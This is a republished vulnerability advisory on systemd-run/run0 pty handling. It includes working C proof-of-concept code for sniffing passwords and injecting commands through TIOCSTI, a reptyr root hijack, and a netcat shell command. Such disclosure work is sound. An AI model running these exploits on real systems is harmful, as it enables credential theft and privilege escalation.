{"id":56669,"date":"2024-05-06T19:09:39","date_gmt":"2024-05-06T15:09:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178465\/systemd-run-tty.txt"},"modified":"2024-05-06T19:09:39","modified_gmt":"2024-05-06T15:09:39","slug":"systemd-insecure-pty-handling","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/systemd-insecure-pty-handling\/","title":{"rendered":"Systemd Insecure PTY Handling"},"content":{"rendered":"<p>Systemd Insecure PTY Handling Vulnerability<br \/>===========================================<br \/>CVSSv3.BaseScore: 5.8<br \/>CVSSv3.Vector: AV:L\/AC:H\/PR:H\/UI:R\/S:C\/C:H\/I:L\/A:N<\/p>\n<p>Short Description<br \/>=================<br \/>Systemd-run\/run0 allocates user-owned pty&#8217;s and attaches the slave<br \/>to high privilege programs without changing ownership or locking <br \/>the pty slave. <\/p>\n<p>Description<br \/>===========<br \/>Systemd-run\/run0 is working towards a &#8220;sudo&#8221;-like replacement for <br \/>v256 that is based on the existing policykit and d-bus based &#8220;systemd-run&#8221; <br \/>transient service execution. The code in &#8220;src\/run\/run.c&#8221; on line 1673 <br \/>creates a PTY master and slave used for this process, and the slave <br \/>name is passed to unlockpt() on line 1689. This allows any process to <br \/>connect to e.g. &#8220;\/dev\/pts\/4&#8221; slave interface, this interface is created <br \/>under the local user context executing &#8220;systemd-run&#8221;. The code subsequently <br \/>uses a PTY forwarder (src\/shared\/ptyfwd.c) and d-bus once authentication<br \/>by policykit is approved, the slave end of the pty created will be<br \/>attached to the privileged executed program. As the slave interface<br \/>is not locked to the privilege level of the newly executed process,<br \/>a vulnerability is introduced to the system as any same-user process <br \/>can now interact with the slave end of the root program. <\/p>\n<p>Exploitation <br \/>============<br \/>This issue can be exploited by opening a handle to the slave interface<br \/>and using terminal I\/O routines such as read() to access the input of<br \/>the root program. Slave PTY&#8217;s are not designed for multiple programs to<br \/>access them and this has the unintended effect of redirecting input<br \/>intended for the privileged program back to unprivileged processes, an<br \/>example code &#8220;ptysniff.c&#8221; is provided here and terminal output that shows <br \/>the issue being used to read input from a systemd-run executed &#8220;passwd&#8221; <br \/>program, returning the password intended for the root program back to the <br \/>local user.<\/p>\n<p>User Terminal<br \/>=============<br \/>The user executes systemd with &#8220;&#8211;pty&#8221; to allocate a new &#8220;root&#8221; pty and<br \/>execute &#8220;passwd&#8221; in the new terminal.<\/p>\n<p>fantastic@fantastic-pc \/dev\/pts \ue0b0 systemd-run &#8211;pty passwd<br \/>==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br \/>Authentication is required to manage system services or other units.<br \/>Authenticating as: fantastic<br \/>Password:<br \/>==== AUTHENTICATION COMPLETE ====<br \/>Running as unit: run-u63.service<br \/>Press ^] three times within 1s to disconnect TTY.<br \/>New password:<br \/>Retype new password:<\/p>\n<p>Attacker Terminal<br \/>=================<br \/>The slave end of the systemd-run terminal is still owned by the local user<br \/>context, &#8220;\/dev\/pts\/5&#8221; in the example above &#8211; allowing ptysniff to read the<br \/>password input intended to be sent to &#8220;passwd&#8221;.<\/p>\n<p>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/voldermort \ue0b0 ls -al \/dev\/pts\/5<br \/>Permissions Size User Date Modified Name<br \/>crw&#8211;w&#8212;- 136,5 fantastic 4 May 08:51 \uf016 \/dev\/pts\/5<br \/>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/voldermort \ue0b0 .\/ptysniff \/dev\/pts\/5<br \/>Received: p<br \/>Received: a<br \/>Received: s<br \/>Received: s<br \/>Received: w<br \/>Received: o<br \/>Received: r<br \/>Received: d<br \/>Received:<\/p>\n<p>\/* ptysniff.c &#8211; read from a slave pts used by a higher privileged program *\/<br \/>#include &lt;fcntl.h&gt;<br \/>#include &lt;stdio.h&gt;<br \/>#include &lt;unistd.h&gt;<br \/>#include &lt;sys\/file.h&gt;<\/p>\n<p>#define BUF_SIZE 1024<\/p>\n<p>int main(int argc, char *argv[]) {<br \/>if (argc != 2) {<br \/>fprintf(stderr, &#8220;Usage: %s &lt;pts&gt;\\n&#8221;, argv[0]);<br \/>return 1;<br \/>}<br \/>int fd = open(argv[1], O_RDWR | O_NOCTTY);<br \/>if (fd == -1) {<br \/>perror(&#8220;open&#8221;);<br \/>return 1;<br \/>}<br \/>char buf[BUF_SIZE];<br \/>ssize_t numRead;<br \/>while (1) {<br \/>if (flock(fd, LOCK_EX) == -1) {<br \/>perror(&#8220;flock&#8221;);<br \/>return 1;<br \/>}<br \/>numRead = read(fd, buf, BUF_SIZE &#8211; 1);<br \/>if (numRead == -1) {<br \/>perror(&#8220;read&#8221;);<br \/>return 1;<br \/>}<br \/>for (int i = 0; i &lt; numRead; i++) {<br \/>printf(&#8220;Received: %c\\n&#8221;, buf[i]);<br \/>}<br \/>if (flock(fd, LOCK_UN) == -1) {<br \/>perror(&#8220;flock&#8221;);<br \/>return 1;<br \/>}<br \/>}<br \/>return 0;<br \/>}<\/p>\n<p>Recommendation<br \/>==============<br \/>It is recommended the systemd-run created pty slave interface<br \/>is chown()&#8217;d to the same user as the privileged execution context<br \/>that it operates, this would result in &#8220;permission denied&#8221; when<br \/>attempting to attach another program to the slave end of the pty.<\/p>\n<p>Additional Information<br \/>======================<br \/>In addition to the vulnerability outlined above, it is possible to<br \/>exploit the problem to execute commands or completely hijack the <br \/>root owned program from the same-user context when other conditions <br \/>are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a<br \/>protection that limits the use of ptrace for debugging purposes.<br \/>With ptrace_classic set to enabled, such as with the following <br \/>command.<\/p>\n<p>&#8220;echo 0 | sudo tee \/proc\/sys\/kernel\/yama\/ptrace_scope&#8221; <\/p>\n<p>It is possible to simply read the master fd for the pty from the<br \/>&#8220;systemd-run&#8221; application, and re-parent a process to use the <br \/>master end &#8211; hijacking the root program which would not be accessible<br \/>to ptrace. This can be done with GDB (set inferior tty) or a tool such <br \/>as &#8220;reptyr&#8221;. <\/p>\n<p>User Terminal<br \/>=============<br \/>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/systemd \ue0b0 \uf09b main \uf111 \ue0b0 systemd-run &#8211;shell<br \/>Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1<br \/>Press ^] three times within 1s to disconnect TTY.<br \/>[root@fantastic-pc systemd]# <\/p>\n<p>Attacker Terminal<br \/>=================<br \/>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/systemd \ue0b0 \uf09b main \uf111 \ue0b0 ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty<br \/>fantast+ 5541 5477 0 09:08 pts\/6 00:00:00 systemd-run &#8211;shell<br \/>uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)<br \/>\/dev\/pts\/1<br \/>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/systemd \ue0b0 \uf09b main \uf111 \ue0b0 reptyr -T 5541<br \/>[root@fantastic-pc systemd]# id<br \/>uid=0(root) gid=0(root) groups=0(root)<br \/>[root@fantastic-pc systemd]# tty<br \/>\/dev\/pts\/0<\/p>\n<p>Enabling ptrace_classic should not result in &#8220;root&#8221; permissions to unprivileged <br \/>users, many operating systems support debugging applications and can do so without<br \/>immediately giving away Administrative rights, YAMA is intended to provide this<br \/>protection. However, sessions and terminals started under &#8220;SSHD&#8221; for instance are <br \/>protected against these attacks through use of &#8220;prctl()&#8221; to prevent ptrace_attach <br \/>from connecting to the process, preventing them being read even with ptrace_classic. <br \/>This issue can also impact &#8220;su&#8221; and &#8220;sudo&#8221; and is a wider problem in Linux when <br \/>ptrace_classic is enabled. Ensure that production systems do not support the use<br \/>of ptrace_classic.<\/p>\n<p>Another path of exploitation can also be undertaken by an attacker when ptrace_classic<br \/>is disabled, however they must be able to re-parent their tty or have control of execution <br \/>of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically<br \/>required only the same user-context to access the tty, however to limit these attacks Linux<br \/>now requires the process calling the ioctl() to be a descendant of the parent process using<br \/>the pty or have the pty set as its controlling terminal. An example is shown here, an attacker <br \/>uses &#8220;nc&#8221; to execute &#8220;ptypwn&#8221; and hijack a root program executed later through systemd-run <br \/>by the parent. The source code for ptypwn.c is provided.<\/p>\n<p>User Terminal<br \/>=============<br \/>fantastic@fantastic-pc \ue0b0 \uf015 \ue0b0 tty<br \/>\/dev\/pts\/3<br \/>fantastic@fantastic-pc \ue0b0 \uf015 \ue0b0 nc -e \/bin\/sh localhost 1337 &amp;<br \/>[1] 6926<br \/>\ue615 \ue0b0 fantastic@fantastic-pc \ue0b0 \uf015 \ue0b0 systemd-run &#8211;shell<br \/>==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br \/>Authentication is required to manage system services or other units.<br \/>Authenticating as: fantastic<br \/>Password:<br \/>==== AUTHENTICATION COMPLETE ====<br \/>Running as unit: run-u100.service<br \/>Press ^] three times within 1s to disconnect TTY.<br \/>[root@fantastic-pc fantastic]# id<br \/>uid=0(root) gid=0(root) groups=0(root)<br \/>[root@fantastic-pc fantastic]# id<br \/>uid=0(root) gid=0(root) groups=0(root)<br \/>[root@fantastic-pc fantastic]# id<br \/>uid=0(root) gid=0(root) groups=0(root)<br \/>[root@fantastic-pc fantastic]#<\/p>\n<p>Attacker Terminal<br \/>================= <br \/>fantastic@fantastic-pc \ue0b0 \uf015\/Work\/voldermort \ue0b0 nc -v -v -l -p 1337<br \/>Listening on any address 1337 (menandmice-dns)<br \/>Connection from 127.0.0.1:49282<br \/>tty;id<br \/>not a tty<br \/>uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel)<br \/>.\/ptypwn \/dev\/pts\/3<br \/>.\/ptypwn \/dev\/pts\/3<br \/>.\/ptypwn \/dev\/pts\/3<\/p>\n<p>\/* ptypwn.c &#8211; use TIOCSTI ioctl to inject commands into user-owned pty *\/<br \/>#include &lt;fcntl.h&gt;<br \/>#include &lt;stdio.h&gt;<br \/>#include &lt;string.h&gt;<br \/>#include &lt;sys\/ioctl.h&gt;<\/p>\n<p>int main(int argc, char *argv[]) {<br \/>if (argc != 2) {<br \/>fprintf(stderr, &#8220;Usage: %s &lt;pts&gt;\\n&#8221;, argv[0]);<br \/>return 1;<br \/>}<br \/>int fd = open(argv[1], O_RDWR);<br \/>if (fd &lt; 0) {<br \/>perror(&#8220;open&#8221;);<br \/>return -1;<br \/>}<br \/>char *x = &#8220;id\\n&#8221;;<br \/>while (*x != 0) {<br \/>int ret = ioctl(fd, TIOCSTI, x);<br \/>if (ret == -1) {<br \/>perror(&#8220;ioctl()&#8221;);<br \/>}<br \/>x++;<br \/>}<br \/>return 0;<br \/>}<\/p>\n<p>Additionally systemd-run supports a &#8220;&#8211;pipe&#8221; operation which will simply connect the privileged<br \/>process to the same-user parent tty directly, this option should be removed entirely as it offers<br \/>no protection against the attacks outlined above. <\/p>\n<p>PolicyKit \/ sudoer Configuration Discrepancy<br \/>============================================<br \/>It is worth noting that a common misconfiguration can present itself in systemd\/policykit Linux <br \/>environments where users are not permitted to execute commands through &#8220;sudo&#8221; but are permitted<br \/>to execute commands through policykit services such as &#8220;systemd-run&#8221;. This can lead to attackers<br \/>who would be denied &#8220;sudo&#8221; requests being able to obtain &#8220;root&#8221; permissions through &#8220;systemd-run&#8221;.<br \/>An example of this configuration error can be seen below, as &#8220;systemd-run&#8221; proposes to become a <br \/>&#8220;sudo&#8221; replacement, this issue has been included for completeness and for system administrators to<br \/>review their sudo and policykit configurations to ensure such discrepancies do not exist. <\/p>\n<p>fantastic@fantastic-pc \ue0b0 \uf015 \ue0b0 sudo su &#8211;<br \/>fantastic is not in the sudoers file.<br \/>\ue009 \ue0b0 fantastic@fantastic-pc \ue0b0 \uf015 \ue0b0 systemd-run &#8211;shell<br \/>==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====<br \/>Authentication is required to manage system services or other units.<br \/>Authenticating as: fantastic<br \/>Password:<br \/>==== AUTHENTICATION COMPLETE ====<br \/>Running as unit: run-u107.service<br \/>Press ^] three times within 1s to disconnect TTY.<br \/>[root@fantastic-pc fantastic]# id<br \/>uid=0(root) gid=0(root) groups=0(root) <\/p>\n<p>TLDR; Conclusion<br \/>================<br \/>Systemd-run\/run0 should chown() the created slave pty interface to the same user context<br \/>using the pty, this will limit privilege escalation opportunities within the system and<br \/>address the medium risk issue highlighted at the start of this advisory. The additional<br \/>information in this advisory discusses wider Linux pty security handling issues, insecure <br \/>configurations and thier exploitation naunces that can be leveraged for privilege escalation <br \/>attacks. Whilst these tactics will serve Red Team&#8217;s targetting Linux, it is noted that similar<br \/>threats against Microsoft&#8217;s recently introduced &#8220;sudo&#8221; that allowed any local user to obtain<br \/>elevated rights through insecure pipe handlers were quickly addressed. It is also noted that<br \/>despite the insecure system configurations, applications such as &#8220;SSHD&#8221; protect against some<br \/>of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening<br \/>on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown()<br \/>is recommended, the Linux community should take note that the attacker threatscape has changed<br \/>significantly with a renewed interest in targetting these systems by adversaries &#8211; consideration<br \/>should be given to hardening PTY\/TTY handling processes and protection against ptrace_classic<br \/>regardless when privileged system operations take place. Attackers are less likely to use<br \/>on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the <br \/>requested permissions at a later date without touching disk from implants or other malicious <br \/>code that has obtained execution in the contexts described above. In relation to security <br \/>boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to<br \/>persitent. This means that every request to systemd-run for elevation should present the user<br \/>with a password prompt, by exploiting this issue the elevation request behaves as persistent <br \/>for the lifecycle of the elevated program. <\/p>\n<p>&#8212; Hacker Fantastic 04\/05\/2024<br \/>https:\/\/hacker.house<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Systemd Insecure PTY Handling Vulnerability===========================================CVSSv3.BaseScore: 5.8CVSSv3.Vector: AV:L\/AC:H\/PR:H\/UI:R\/S:C\/C:H\/I:L\/A:N Short Description=================Systemd-run\/run0 allocates user-owned pty&#8217;s and attaches the slaveto high privilege programs without changing ownership or locking the pty slave. Description===========Systemd-run\/run0 is working towards a &#8220;sudo&#8221;-like replacement for v256 that is based on the existing policykit and d-bus based &#8220;systemd-run&#8221; transient service execution. The code in &#8220;src\/run\/run.c&#8221; on &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56669","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56669","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56669"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56669\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56669"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56669"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56669"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}